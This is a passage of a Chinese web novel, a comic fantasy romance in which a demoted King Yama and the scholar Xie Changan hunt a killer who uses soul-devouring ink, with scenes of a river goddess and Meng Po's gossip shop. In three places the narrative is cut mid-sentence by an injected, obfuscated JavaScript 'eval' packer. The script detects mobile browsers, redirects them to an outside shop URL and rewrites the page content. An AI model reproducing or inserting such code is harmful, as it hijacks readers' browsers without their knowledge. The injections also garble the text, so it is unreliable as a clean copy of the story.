话音未落,仿佛是为了回答他的疑问,他怀中那部用于紧急联络、处于静音状态的幽冥通识宝鉴突然微微震动,散发出幽幽蓝光,平时阎王是不会理会的,因为无非就是那群家伙的吐槽或看笑话,这时他掏出来一看,只见名为“忘川一家人(500)”的群聊界面正以爆炸的速度刷屏,无数消息疯狂弹出: 【牛头:救命啊!!!这个月的勾魂指标还差三十个!哪个片区有富余的借我顶顶?!有偿!】 【马面:@牛头滚!老子自己都不够!判官司新规,勾魂延迟超过一炷香就要写情况说明!五千字起步!手都快废了!】 【日夜游神联动号:报告!东区巡查日志已提交,请查收!另,求问‘优化巡查路线提升效率’的报告怎么写?在线等,挺急的!】 【孟婆:别提了!汤的消耗量也要核算成本了!说我熬汤用的忘川水超标,要扣绩效!这能怪我吗?现在的鬼魂执念一个比一个深,不多放点水稀释一下,根本灌不下去啊!】 【首席判官·崔:@全体成员提醒:第三季度功德核算即将开始,请各位及时核对名下魂魄功过记录,错漏一处,罚扫厕所一个月。】 【某不知名鬼差甲:呜呜呜……我想念阎君大人在的时候……虽然陛下总爱画叉偷懒,但至少不用写这么多总结报告啊!】 【某不知名鬼差乙:+1!自从陛下被贬,帝君狠抓内部管理,卷生卷死,鬼命休矣!】 【众鬼差:附议!+10086!】 阎王:“……” 白无常和黑无常也凑过来瞥了一眼,三人面面相觑,脸上同时浮现出一种复杂难言的表情——那是混合着震惊、同情、以及一丝……庆幸? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800934|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白无常压低声音,心有余悸:“公子……看来咱们被踹下来,某种意义上……好像是因祸得福?” 黑无常默默点头,深以为然。不用写报告,不用赶KPI,不用扫厕所……这人间“打工”,似乎也没那么难以忍受了。 阎王默默收起宝鉴,看着眼前还在抽噎的城隍爷,突然觉得他顺眼了不少,连那哭哭啼啼的样子也没那么烦人了。他清了清嗓子,语气难得缓和了一丝:“够了,本君知道了。” 城隍爷吓得一哆嗦,哭声戛然而止,抽噎着道:“卑……卑职无能!但卑职确认,那邪祟作案,肯定跟一种特殊的、带着极强阴寒怨气的墨有关!每次案发地都有那玩意儿的残留气息!阎君明鉴啊!” “废物。”阎王冷哼一声,但杀伤力明显不如之前,“滚回去吧。此事本君接手了,你的KPI……哼,看你后续表现!” 城隍爷如蒙大赦,简直不敢相信自己的耳朵,连连磕头:“多谢阎君!多谢阎君!卑职一定全力配合!随叫随到!”说完,化作一道青烟,溜得比被恶狗追的游魂还快。 书房内恢复安静。阎王揉了揉太阳穴,感觉信息量有点大。 谢长安适时递上一杯新沏的热茶,温声道:“颜公子辛苦了。看来,此事确实棘手。接下来,我们是否该去现场亲眼看一看?”他想起城隍爷那副痛哭流涕、捶胸顿足的模样,以及阎王和黑白无常刚才一副心有余悸的样子,眼中不由闪过一丝同情与……些许笑意?这神仙当得,似乎也不易。 阎王接过茶,抿了一口,压下心中的万千感慨:“嗯。就去张昀的书房。” 一行人很快来到已然被封的青云书院张院士书房外。谢长安出示手令,支开了看守。 推开房门,一股淡淡的墨香与一丝若有若无的阴冷气息扑面而来。书房陈设简洁,书卷整齐,仿佛主人只是暂时离开。 谢长安指向书桌:“那墨迹,就在摊开的书页间,已干涸,但气息犹在。” 阎王微微颔首,闭上双眼,全力调动起那被封印得只剩一丝的、属于阎罗天子的感知力。刹那间,他“看”到了比谢长安感知到的更为清晰的景象——空气中,残留着张院士魂魄惊恐挣扎的微弱“残影”,以及一道粗暴的、带着污浊邪气的能量轨迹,那轨迹的源头,正是书页上那点不起眼的暗色墨迹! 他走到书桌前,目光锁定那点墨迹,伸出手指,隔空轻轻一拂。 就在他神力触及墨迹的瞬间,异变陡生! 那点干涸的墨迹仿佛活了过来,猛地窜出一道细小的、如同毒蛇般的漆黑影子,带着浓郁的怨毒与阴寒气息,以迅雷不及掩耳之势,直扑离它最近的谢长安面门! “小心!”阎王瞳孔一缩,下意识就想将谢长安拉开。 然而,有人比他更快! 一直保持警惕的黑无常,在那黑影窜出的刹那已然出手!他并未拔刀,而是并指如剑,一道凝练至极的阴煞之气如同黑色闪电后发先至,精准地击打在黑影的“七寸”之处! 与此同时,白无常也反应极快,他手腕一翻,不知从哪儿摸出个白玉小瓶,瓶口对准黑影,口中疾念:“勾魂摄魄,收!” 那黑影被黑无常的煞气击中,发出一声尖锐刺耳、非人非鬼的嘶鸣,身形一滞,竟险些被白无常的玉瓶吸力扯过去!但它极其狡猾,猛地一扭,借着冲击力,“嗖”地一下穿透窗户纸,瞬间消失在窗外! 一切发生在电光火石之间! 谢长安甚至还没完全反应过来,那黑影已然逃遁。他看向挡在自己身前的阎王,心中微暖,但更多的是凝重:“那是什么东西?” 黑无常感受着指尖残留的那丝邪气:“是印记,也是‘眼睛’。看来,我们被发现了。” 阎王脸色阴沉,看向黑影消失的方向,眼神锐利,“追!它跑不远!” 四人立刻冲出书房,朝着黑影遁逃的方向追去。书院午后静谧的阳光,似乎也驱不散那骤然笼罩下来的紧张氛围。 8. 河畔斗嘴,敢跟本君比美? 夜色如墨,将青云书院笼罩在一片沉寂之中。唯有张院士那间贴着封条的书房,在惨淡月光下透出几分不祥。 阎王指尖萦绕着一丝微不可见的幽冥之力,方才正是它引动了墨迹中潜藏的那缕邪气。黑影遁逃的速度极快,如同受惊的泥鳅,沿着无形的轨迹向城外窜去。 “追!”阎王低喝一声,玄色衣摆在夜风中猎猎作响,率先追出。谢长安眸光一凝,毫不迟疑地紧随其后。黑白无常更是如同两道鬼魅般的影子,一左一右护持在侧,周身散发出属于地府勾魂使者的森然气息,惊得沿途偶尔飘过的孤魂野鬼纷纷避让。 那黑影极其狡猾,专挑阴暗角落、人气稀薄处流窜,气息若有若无。若非阎王以自身位格强行锁定那一丝同源邪气,恐怕早已跟丢。四人一路追出城外,最终,那缕气息彻底消失在一条宽阔深邃、水流湍急的大河边。 “气息到此彻底断了,融入了水脉之中。”阎王站在河岸,眉头紧锁,感受着河中充沛的水灵之气与那邪气残留交织混杂,难以分辨具体方位。河水在月光下泛着深碧近墨的光泽,仿佛隐藏着无数秘密。 谢长安观察着河道走向与水流速度,沉吟道:“方才城隍提及,此獠擅长借水脉掩盖自身。看来,这河底便是它的一处巢穴,或至少是重要的藏身中转之所。” 黑无常默默上前,半跪于岸边,将手探入冰凉的河水中,闭目凝神。他并非沟通水灵,而是以自身纯粹的阴煞之力如同蛛网般细细感知,试图捕捉任何一丝不协调的阴邪波动。白无常则警惕地巡视四周,防止任何意外。 就在黑无常全神贯注之际—— “哗啦!” 一道水箭毫无征兆地激射而出,直冲黑无常面门!虽无杀意,却充满了警告与驱赶的意味。 “哪里来的野鬼!懂不懂规矩?本神的水域也是你能随便窥探的?弄脏了河水,你担待得起吗?!”娇叱声伴随着水花响起。河心波澜涌动,一位身着水蓝色流光裙、赤着双足的少女袅袅婷婷立于水面,柳眉倒竖,杏眼圆睁,正是此地河神。 黑无常面无表情地收回手,起身后退,将交涉任务留给更擅此道的同伴。 白无常立刻换上他那招牌式的、带着几分谄媚的笑脸,上前一步,拱手作揖:“哎哟,原来是河神娘娘!小的们有眼不识泰山,惊扰了娘娘清修,恕罪恕罪!我们乃是……” “停!”河神少女不耐地打断,双手叉腰,“叫姐姐!什么娘娘,把本神都叫老了!看你们几个身上阴气森森,又是地府来的吧?这次又是什么事?赶紧说,说完快走,别耽误我欣赏月色!”她语气娇蛮,显然对地府来人见怪不怪,甚至有些不待见。 白无常笑容不变,从善如流:“是是是,河神姐姐青春永驻,风华绝代!实不相瞒,我等正在追查一道诡异黑影,其气息至阴至邪,疑似与几桩强行拘魂的命案有关,追踪至此便失去了踪迹。姐姐执掌此河,神通广大,不知近日可曾察觉河中有何不寻常的异物潜伏?或是感知到异常的魂魄波动?” 河神漫不经心地拨弄着垂到胸前的发辫,撇撇嘴:“黑影?没看见。异常魂魄?每天从我这河里过的水鬼没有十个也有八个,谁记得清?你们地府自己办事不力,丢了魂魄,倒跑来问我?”她翻了个漂亮的白眼,显然没把白无常的话当回事。 阎王见她这般敷衍态度,心中不悦,上前一步,声音带着属于上位者的冷冽与威严:“河神,此事关乎阴阳秩序,非同小可。那邪祟手段残忍,已害数人性命,你若知情不报,纵容其藏匿于此,他日酿成大祸,你这河神之位,恐怕也坐到头了。” 他本意是施压,让对方重视起来。谁知河神少女闻言,非但不惧,反而将目光彻底从白无常身上移开,上上下下打量起阎王来。见他虽面色不虞,但容貌俊美,凤眼薄唇,自带一股慵懒又危险的气质,与她平日见惯的仙神精怪截然不同,眼中不由得闪过一丝新奇。 但她还没来得及对阎王发表看法,眼波流转间,又瞥见了站在阎王身侧半步之后的谢长安。月光如水,柔和地洒在谢长安月白色的常服上,衬得他面如冠玉,眉目疏朗,气质温润清雅,宛如画中走出的谪仙。 河神少女的眼睛瞬间像是被点亮的星辰,光芒大盛!她立刻将阎王抛诸脑后,轻盈地在水面上转了个圈,裙摆漾开涟漪,像只欢快的蝴蝶般飘到靠近谢长安的岸边,双手捧心,声音瞬间变得又甜又糯,与刚才的刁蛮判若两人: “哎呀,这位俊俏的公子哥儿,瞧着面生得很呐!你从哪里来?要到哪里去呀?可是专程来寻我的?”她眨巴着大眼睛,长长的睫毛扑闪着,毫不掩饰对谢长安的兴趣。 谢长安心中无奈,但修养极佳,依旧保持着温和的礼仪,拱手道:“在下谢长安,为查案而来。姑娘既是此地河神,还请仔细回想,近日河中可有异状?或感知到非比寻常的阴邪之气聚集?”他再次将话题引回正事。 河神少女却仿佛没听见他的问题,痴痴地看着他的脸,自顾自地说道:“谢长安……连名字都这般好听!人更是比月宫里的桂树还要清雅,比天河里的星子还要耀眼!”她说着,忽然像是想到了什么绝妙的主意,向前凑近几步,几乎要贴到谢长安面前,充满期待和攀比地问:“谢公子,谢公子!你来说说,是我好看,还是你旁边这个总是板着脸、说话能冻死鱼的黑衣家伙好看?”她那纤纤玉指,毫不客气地再次指向了阎王。 这一下,可谓是在阎王即将爆发的怒气上又浇了一瓢热油! 阎王简直气结!这蠢鱼精不但玩忽职守,居然敢拿他的容貌说事!他堂堂阎君,是靠脸吃饭的吗?!他强压下把这条不知天高地厚的鱼精丢进油锅炸一炸的冲动,从牙缝里挤出声音:“本君没空与你玩这等无聊游戏!” “怎会无聊?”河神少女转过头,对阎王做了个鬼脸,“分明是你不敢比!谢公子,你快评评理嘛!”她又缠着谢长安。 谢长安看着阎王那副憋屈又不好真的对一个小神祇动手的模样,眼底掠过一丝极淡的笑意。他沉吟片刻,目光在河神明媚娇艳的脸庞和阎王紧绷的侧脸线条上流转,仿佛真的在认真权衡。 然后,他温声开口,语调平和却带着不易察觉的狡黠:“河神姑娘灵动娇俏,自是水域明珠,光彩照人。”他先安抚了河神,见她面露得色,才话锋微转,看向阎王,“至于颜公子么……风姿特秀,朗朗如玉山,虽不似春光明媚,却如静夜幽潭,别具一番沉静气度。况且……”他微微一顿,唇角弯起,“在下觉得,颜公子生气时的样子,格外……生动有趣,别有风味。” 这话听着像是褒奖,细品却分明是调侃! 阎王只觉得一股热气直冲头顶,脸颊都有些发烫。他狠狠瞪了谢长安一眼,却发现对方正用一种无辜又温和的眼神回望他,仿佛刚才那番话再真诚不过。 河神少女却没听出那么多弦外之音,只觉得谢长安在维护阎王,顿时小嘴一撅,不高兴了:“什么静夜幽潭,我看就是黑着脸无趣!谢公子,你眼光有问题!” 就听阎王已经忍无可忍地开口了:"你?跟本君比好看?本君看你,眼瞎心盲,品味堪忧。论容貌气质,你嘛……也就比孟婆看起来稍微年轻那么一点儿。至于眼神,啧,倒是一脉相承的不怎么好。" 空气瞬间死寂。 河神少女脸上的娇羞笑容彻底僵住了,她瞪大了美眸,小嘴微张,似乎无法相信自己听到了什么。比、比孟婆年轻点儿?!孟婆是谁?地府里那个传说中熬汤万年、面容古板、举着勺子追杀阎王的恐怖存在?!她一个青春靓丽、受水族爱戴、偶尔还能收到凡人贡品鲜花的美少女河神,在这个黑脸家伙眼里,居然只配和孟婆相提并论,而且还只是"年轻点儿"?! "你……你胡说八道!你眼睛被幽冥鬼火烧瞎了吗?!"河神少女气得浑身发抖,指着阎王,声音尖利起来,"本神明明貌美如花!沉鱼落雁!闭月羞花!是这百里水域最耀眼的存在!你竟敢拿我跟孟婆比?!你……你混蛋!" 阎王掏了掏耳朵,仿佛嫌她吵,毫无触动, 她叉了叉腰,阴阳怪气地说:“哼!你这黑脸鬼!我知道你,你就是那个因为勾错了猴子阳寿,被帝君当着三界直播踹下凡间的倒霉阎王!哈哈,现在神力没剩几滴了吧?跑我这来摆什么架子!” 被当面揭短,阎王额角青筋直跳,怒极反笑:“呵,本君再落魄,收拾你一条小河神也绰绰有余!你身为一方神祇,不思庇佑生灵,稽查奸邪,反倒在此搔首弄姿,玩忽职守!看来你这河神当得太安逸,忘了神职为何物!要不要本君上报天庭,查查你近年来的香火愿力、水族教化、河道疏浚的考核是否合格?!” 这话戳中了河神的软肋。她近年来确实疏于管理,香火也大不如前,全靠底子撑着。被阎王这么一吓,她脸色微变,但嘴上仍不服输:“你……你胡说!我……我管理得好着呢!” “好?”阎王冷笑,步步紧逼,“那你说说,去年此河汛期,下游三处堤坝险些决口,你身在何处?上月有商船于此沉没,三人生魂滞留水中七日,你可知晓?还有,半年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【首席判官·崔:@全体成员肃静!各地呈报类似案件已累计九起,目标皆身负文气之人。疑有组织收集生魂,动用上古禁术‘噬魂墨’。情况危急,各司加强巡查,有线索即刻上报!】 【众鬼差:噬魂墨?!那不是早就失传了吗?!】 【众鬼差:完了完了,这下更卷了!不仅要抓鬼,还要防着鬼被抢!】 【勾魂使者丙:@白无常白爷!您和陛下在人间,可得小心啊!那玩意邪门得很!】 …… 后面还有一大堆鬼差们的哀嚎、抱怨和相互提醒,阎王看得心烦意乱,直接关掉了宝鉴界面。九起案件!目标明确,都是身负文气者!这幕后黑手,所图极大! “噬魂墨……”阎王喃喃自语,这个名字让他感到一丝熟悉,却又一时想不起具体出处,“我定在何处见过……” 他又立刻打开宝鉴,无视了刷屏的问候和抱怨,直接在群里下令:【速将《幽冥异物志》送至人间谢府听竹轩。】 不到半盏茶的功夫,一只小小的、战战兢兢的耳报神抱着一本厚重漆黑的古籍,穿过微弱的空间涟漪,出现在房中,将书恭敬呈给阎王后,立刻化作青烟溜走,仿佛多待一刻都会被阎王的低气压冻伤。 阎王接过这本散发着阴冷陈旧气息的《幽冥异物志》,迅速翻找起来。谢长安也靠近前来,烛光将两人专注的身影投在墙上。 很快,谢长安的手指停在某一页。泛黄的书页上,用暗红朱砂绘制着一种浓黑如夜、内蕴血丝的墨锭图案,旁边的古拙字迹清晰地记载着: 【噬魂墨】:源自幽冥血河之底,取万年淤积之浊泥,杂糅枉死厉鬼之怨念残火,佐以九幽极阴之风,秘法炼制而成。此墨非凡品,书写之初无异状,然其性至阴至毒,能于无声无息间侵蚀生魂,烙下‘魂印’。施术者可凭此印遥相感应,伺机强行拘拿魂魄,或吞噬以增修为,或用于某种诡谲仪轨……因其炼制之法歹毒,有伤天和,早已失传,列为幽冥禁术…… “噬魂墨……强行拘魂,吞噬修为,或用于诡谲仪轨……”阎王低声念出关键,眸中寒芒大盛,“果然如此!” 谢长安看着那诡异的图案与记载,神色凝重如冰:“目标直指文气拥有者,动用失传禁术,有组织地收集生魂……这绝非寻常妖魔作乱。背后之人,其志不在小。” 阎王合上古籍,指尖无意识地点着桌面,发出沉闷的声响。窗外夜色浓重,仿佛隐藏着无数双窥伺的眼睛。一股山雨欲来的压抑感,沉沉地笼罩在听竹轩内。 9. 打探消息,还是八卦消息? 翌日清晨,听竹轩内弥漫着淡淡的茶香与凝重气氛。经过一夜休整,四人虽仍带着倦意,但眼神却比昨日更加锐利。 "噬魂墨牵扯的案子越来越多,我们必须加快速度。"阎王将幽冥通识宝鉴往桌上一放,上面还闪烁着各地鬼差上报的新案件信息,"那邪祟狡猾,但既然频繁作案,必定会留下蛛丝马迹。今日我们分头行动。" 他看向黑无常:"你再去河边仔细探查。昨日那邪祟既然以水脉为掩护,必然有其缘由。你煞气纯粹,对阴邪之物的感应最为敏锐,务必找出它离开水脉后的去向。" 黑无常抱拳领命,言简意赅:"是。" “白无常,”阎王看向一脸跃跃欲试的白无常,“你擅长与人……以及与鬼打交道。去市井坊间,尤其是消息灵通之地,探听近期有无关于墨锭、书生或者任何不寻常死亡的传闻。地府那边……”他顿了顿,想起群里那些抱怨,“……若有新的案件通报,也留意汇总。” “公子放心!小的最擅长这个!”白无常拍着胸脯,眼睛滴溜溜一转,“听说孟婆在城南偷偷开设了家''忘忧奶茶铺''的试点分店,正好去探探虚实!"他搓着手,一副迫不及待的模样。 阎王嘴角微抽:“那你要注意,别把记忆喝没了。” …… 最后他看向谢长安:“谢大人,今日我们去何地?” 谢长安对这句“我们”非常受用,说道:“颜公子,你我可去另外三处案发现场勘查。既然都是噬魂墨所为,或许能在其他现场找到共通之处。” 阎王颔首:“正合我意。不同现场,或能找出更多共同点和遗漏的线索。” 谢长安看向阎王,语气带着一丝不易察觉的关切,“颜公子昨日消耗颇大,今日可还支撑得住?” 阎王被他问得一愣,随即别过脸去:“本……本公子好得很!区区探查,何足挂齿。”话虽如此,耳根却微微发烫。 “那我们就出发吧,酉时初刻,城南‘清源茶寮’汇合” 阎王最终拍板,有些仓皇的率先走了。 白天的京城 黑无常再次来到城郊河边。白日下的河流少了夜晚的神秘,却更多了几分难以捉摸的深邃。他避开昨日河神现身之处,沿着河岸缓步而行。 作为地府最强的武神之一,黑无常有着独特的探查方式。他并不急于施法,而是如磐石般静立岸边,双目微阖,周身那经由无数征战淬炼出的纯粹煞气,如同无形的波纹,极缓极细地向四周弥漫。这煞气对生灵无害,却对同属阴邪范畴的气息有着近乎本能的排斥与感应。他像最有耐心的猎手,一寸寸地梳理着水汽、泥土、甚至空气中残留的每一丝异样。 许久,他睁开眼,目光锁定在一处芦苇丛生的河湾。那里的水流看似平静,但在他的感知中,却有一缕极其微弱的邪气在缓缓盘旋。这气息与噬魂墨同源,却更加凝练,显然经过刻意炼化。 黑无常悄无声息地潜入水中,循着那缕气息追踪,在水下潜行约莫一炷香时间,他发现那气息并非一直停留在水中,而是在某处河岸悄然上岸……。 与此同时,白无常一头扎进了京城的繁华街市。他先去了几家有名的文房四宝店,假借替"家中公子"选购墨锭,与掌柜、伙计攀谈。 "掌柜的,听说最近有什么特别的古墨面世吗?我家公子就喜欢那些……嗯,年代久远,气味独特些的。"白无常搓着手,一副替主子操心的殷勤模样。 一家老字号掌柜捋须道:"特别的古墨?最近这是什么流行趋势吗?前些时候有好几位书生都来寻过几款老墨,说是要''墨色沉黯,触手生凉''的。" 另一家店的伙计则插嘴:"可不是嘛!就那个吴老头,上次来也是专挑些阴森森的老墨买,看着都瘆人。" 掌柜想了想点点头道:“是呀,他以前穷得叮当响,最近不知走了什么运,上次来买的时候,价钱都不问,说多少就多少,古怪得很。” 白无常心中暗喜,面上不露声色,又旁敲侧击打听可记得有哪些人来买过或询问过,近期可有书生行为异常或遭遇不测,零零碎碎得了些消息。 几番走动下来,只觉口干舌燥,想起孟婆的奶茶铺子,便溜达了过去。轻车熟路地摸到了城南那条热闹的巷子,找到了那家挂着“忘忧奶茶”招牌、装修得颇为雅致的小铺。 一进门,一股混合着奶香、茶香以及一丝极其微弱、凡人绝难察觉的忘川水特有清冽气息扑面而来。 柜台后面,孟婆穿着一身人间常见的粗布襦裙,头发利落地挽成个髻,正手脚麻利地给客人打包奶茶,脸上堆着职业化的热情笑容。一抬眼瞧见溜进来的白无常,她那双看惯轮回的眼睛里精光一闪,随即又恢复了那副和气生财的老板娘模样,拖长了调子招呼: “哟——!这不是小白大人嘛!真是稀客呀!怎么着,是咱地府的差事不够忙,还是人间的风儿太喧嚣,把您给吹到我这小铺子来了?”她一边说着,一边熟练地拿起一个空杯子,“喝点什么?招牌‘前世不忘’,保证让你喝了就忘不了这味儿;还是新品‘今生不悔’,酸酸甜甜,像极了爱情?” 白无常赶紧凑到柜台前,身子往前倾,做贼似的压低声音:“我的好姐姐!您就别打趣我了!快,来杯那个……那个‘内部特供’,你懂的!最近这案子闹得,小弟我头都快大了,就指望您这儿有点‘提神醒脑’的消息呢!” 孟婆闻言,没好气地飞了他一个白眼,手下却利落地开始调配,嘴上也没闲着:“切!你小子少来这套!书生失踪、古墨害人的事儿,地府通鉴都快被各地的急报刷爆屏了,你自己不会看?跑来问我?”她将一杯颜色深邃近乎墨紫的奶茶“啪”地放在台面上,声音压低,带着浓浓的八卦气息,话锋猛地一转: “少跟我扯这些官面文章!我问你,你那本《阎王与状元同居日记》呢?!怎么回事?这都断更多久了?!我正看到‘谢状元夜探听竹轩,阎王爷嘴硬心更软’的关键情节呢!下面呢?下面没了?!你小子是想急死我这个忠实读者吗?赶紧的,有没有新素材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800936|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 白无常被这突如其来的催更搞得一愣,随即脸上绽放出找到知音般的灿烂笑容,也压低声音:“哎哟喂!我的孟婆姐姐,您可真是我的头号粉丝!放心放心,素材多着呢!您且听我慢慢道来……” 他这边刚起了个头,旁边角落里几个捧着奶茶、早就竖着耳朵的小鬼立刻像闻到鱼腥味的猫儿,“呼啦”一下全围了过来,加入了这场突如其来的“创作研讨会”。 一个瘦小鬼吸溜着奶茶,兴奋地手舞足蹈:“白爷!白爷!我有新素材!绝对保真!我兄弟的姑奶奶的邻居的表侄就在谢府当差!他说亲眼看见谢状元下朝回来,特意绕路去买了东街那家超级难买的荷花酥,就因为前天听见阎君大人随口提了句‘那家的点心闻着还行’!” “哇——!”众小鬼齐声发出羡慕的惊叹,孟婆也眼睛发亮,催促白无常:“记下来!快记下来!‘状元郎巧心赠酥,阎王爷口嫌体直’,这章回目我都替你想好了!” 另一个胖小鬼立刻接上,与有荣焉地拍着肚子:“这算什么!我昨天亲耳听到日游神大人跟夜游神大人交接班时感慨,说阎君大人最近在人间,连骂‘蠢材’的音量都降低了三成!夜游神大人去跟踪,啊,不对,是保护阎君大人和谢状元安危被发现后,阎君大人居然只是罚他们抄《地府行为规范守则》!搁以前,早就一脚踹进忘川河里泡着了!这绝对是谢状元的功劳!” “没错没错!”第三个戴着小毡帽的小鬼神秘兮兮地压低声音,仿佛在宣布什么重大发现,“而且你们发现没有?最近咱们京城这片儿的怨气、晦气是不是淡了不少?连带着我们跑腿都感觉轻松了!要我说,这肯定是阎君大人心情舒畅,神力自然散发,无意中净化了环境!这就叫‘领导幸福,全员享福’!” 这时,一个看起来比较老实的小鬼弱弱地插嘴:“可是……我听说谢状元是因为文曲星神识将醒,神力与阎君大人互相感应,才能安抚波动,这……这应该算是公务往来吧……” “呸呸呸!你懂什么!”白无常立刻跳出来“辟谣”,一脸“你太年轻”的表情,挥舞着手里不知道什么时候又掏出来的小本子,“公务往来会记得对方爱吃什么点心?公务往来能让咱们陛下连骂人都变得文雅?这叫潜移默化!这叫重点突破!重点是结果!结果就是咱们陛下心情好了,地府风水好了,大家干活都顺心了!这说明什么?说明谢状元就是咱们陛下的良药!不对,是良配!” 他一边慷慨陈词,一边笔走龙蛇,在小本子上狂写。孟婆伸着脖子看他写,连连点头:“对对对,就这么写!感情线要朦胧中带着笃定,暧昧里透着真情!下回更新要是再看不到这些糖,小心我给你喝的奶茶里加点‘忆苦思甜’的料!” 白无常宝贝似的收好小本子,拍着胸脯保证:“姐姐放心!为了广大读者(鬼)的幸福,为了地府的风水,我小白一定笔耕不辍,及时播报最新进展!”他感觉这趟奶茶店来得太值了,素材库爆炸式增长,足够他回去爆更三章,连章节标题他都想好了好几个! 10. 蛛丝马迹汇茶寮 与此同时,作为八卦和小说中心人物的阎王与谢长安正在探访第一位受害者的住所。 两人抵达的第一处现场,是告老还乡的周员外府邸。书房门上的封条被谢长安熟练地取下,他推开门,一股混合着陈旧书香和淡淡尘埃的气息扑面而来。 “就是这里了。”谢长安侧身让阎王进入,“周员外,第一位确认的受害者,三个月前被发现猝死于书案前。” 阎王环顾四周。与张昀书房的清雅学究气不同,这里处处彰显着富贵与讲究。紫檀木书架顶天立地,摆满了精装典籍,黄花梨大书桌上,端砚、狼毫、玉镇纸一应俱全,皆是上品。 阎王习惯性地便要闭目凝神,调动神力感知,却被谢长安轻轻按住手腕。 “且慢。”谢长安声音温和却带着不容置疑的坚持,“你神力珍贵,恢复不易,不宜如此大范围耗用。容我先看看,若有异状,你再出手不迟。” 阎王被他这突如其来的触碰和话语弄得一怔,手腕处传来温热的触感,他有些不自在地抽回手,哼了一声,算是默许,心里却泛起一丝微澜——这凡人,倒是细心。 只见谢长安并未急于四处翻找,而是像一位经验老到的画师审视画卷般,站在书房中央,目光缓缓扫过整个空间。他先观察了家具的摆放、物品的陈列,甚至留意了地板上灰尘的分布。接着,他走到书案前,并未直接触碰死者遗留的物品,而是仔细端详案上文具的摆放角度,墨池中干涸的墨迹残留。 他的目光最终落在了案角一本半开的账册上。他小心地戴上随身携带的绢布手套,轻轻翻动账页,指尖在一行记录上停住。 “颜公子,请看这里。”谢长安指着那行字,“两个月前,有一笔五十两银子的支出,备注是‘购《墨谱源流考》及杂录数卷’,收款方是城西的‘博古斋’。”他抬起头,眼神清亮,“据我所知,《墨谱源流考》是极为冷门的古籍,价格不菲,周员外告老后主要精力在养生怡情,突然花重金购买此类书籍,有些反常。” “就是这里了。”谢长安退开一步,对阎王示意。 阎王这次不再鲁莽,他集中精神,将残余的神力如同细丝般,精准地投向那本账册所在的区域。他闭目凝神,周遭的一切仿佛褪去颜色,唯有能量的痕迹如同水纹般荡漾开来。 片刻,他睁开眼,眸中闪过一丝冷冽:“此处的魂魄残影几乎散尽,但残存的意念碎片里,充满了……惊愕与难以置信。他死前,定是见到了极意外的人,或知晓了极意外的事。” 随后又补充道“这里的邪气,与噬魂墨同源,但……更为驳杂稀薄,像是劣质品,或是未被完全激发的状态。” 在这里收查完没再有新的发现后,他们又来到第二处现场,这里是清贫琴师李大家的居所。家徒四壁,唯有一张桐木古琴和满墙泛黄的乐谱诉说着主人的身份。谢长安在琴案下一个破旧的木匣里,找到了几封友人来信。他仔细翻阅,在其中一封信中,发现了一句:“……偶得《古墨鉴真》残卷,所言甚奇,似与音律相通,兄素来博闻,若有暇,可来寒舍一叙,共鉴之……”日期正在李大家遇害前约半月。 阎王再次动用神力,感知范围集中在信笺和琴师常坐的位置。“同样的惊愕……还有一丝……被误导的愤怒?”他蹙眉,“这里的邪气残留,比周员外家稍浓,但依旧不够精纯。” 最后一处是国子监孙博士的书房。这里卷帙浩繁,空气中弥漫着纸墨与陈旧思想的味道。谢长安在堆积如山的书稿中,耐心翻检了近半个时辰,终于在一叠废弃的试稿纸下,发现了数张试墨的笺纸。其中一张上,用一种色泽暗沉、毫无光泽的墨书写了几个字,那墨迹看起来死气沉沉。 “孙博士治学严谨,有试墨的习惯。”谢长安将那张特殊的试墨笺纸抽出,“这种墨,绝非他平日所用。” 阎王的感知再次确认了“惊愕”的情绪,并判断此处的邪气浓度介于前两者之间。 接连三处勘查下来,阎王虽未大规模动用神力,但如此精准操控,对目前状态的他也是不小的负担,额角已渗出细密汗珠,脸色也苍白了几分。 谢长安看在眼里,适时递上一块干净的素白手帕:“擦擦吧。连续动用神力,消耗太大,先歇息片刻。”他的动作自然,语气里带着不容错辨的关切。 阎王愣了一下,有些别扭地接过手帕,胡乱在额上擦了两下,帕子上带着淡淡的、属于谢长安的清冽墨香,让他莫名有些心绪不宁。“啰嗦。”他低声嘟囔,却将手帕攥在了手里,没有立刻归还。 时近酉时,两人率先抵达约定的清源茶寮雅间。等待的间隙,谢长安替阎王斟上一杯热茶,氤氲的热气模糊了他清俊的眉眼。 “三位死者,身份、家境、性格迥异,唯一的共同点,就是三位死者,皆是有才学、重文名之士。凶手选择他们,恐怕不仅仅是因为书生常用墨锭。或许,他们的‘文气’、‘才名’,本身就是目标之一?《幽冥异物志》提及,噬魂墨可吞噬魂魄以增修为,莫非身负文气之魂,于那邪祟而言,别有裨益?”谢长安梳理着思路,指尖在桌上轻轻划动,仿佛在勾勒无形的线索图。 